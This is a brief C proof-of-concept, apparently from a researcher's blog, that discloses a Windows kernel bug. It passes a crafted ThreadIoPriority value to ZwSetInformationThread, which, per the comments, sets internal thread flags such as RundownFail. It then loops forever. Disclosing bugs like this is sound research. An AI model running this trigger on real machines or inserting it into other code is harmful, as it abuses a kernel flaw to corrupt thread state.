Kernel Bug #0 ThreadIOPriority

//http://waleedassar.blogspot.com
//http://www.twitter.com/waleedassar

#define ThreadIoPriority       0x16
int main()
{
    //0xFF3FFF3C;---> No RundownFail, no NeedsWorkingSetAging.
    //0xFF3FFFFC;---> Includes RundownFail & NeedsWorkingSetAging.
    unsigned long prior=0xFF3FFF3C;
    int ret=ZwSetInformationThread(GetCurrentThread(),ThreadIoPriority,&prior,4);
    if(ret>=0)
    {
        unsigned long priorr=0;
        ret=ZwQueryInformationThread(GetCurrentThread(),ThreadIoPriority,&priorr,4,0);
        printf("Current Thread IO priority is %x\r\n",priorr);

        unsigned long xx=0;
        while(1)
        {
            printf("Hey %x\r\n",xx);
            Sleep(1000);
            xx++;
        }

        unsigned long xxx=0;
        scanf("%d\r\n",&xxx);
    }
    ExitProcess(0);
    return 0;
}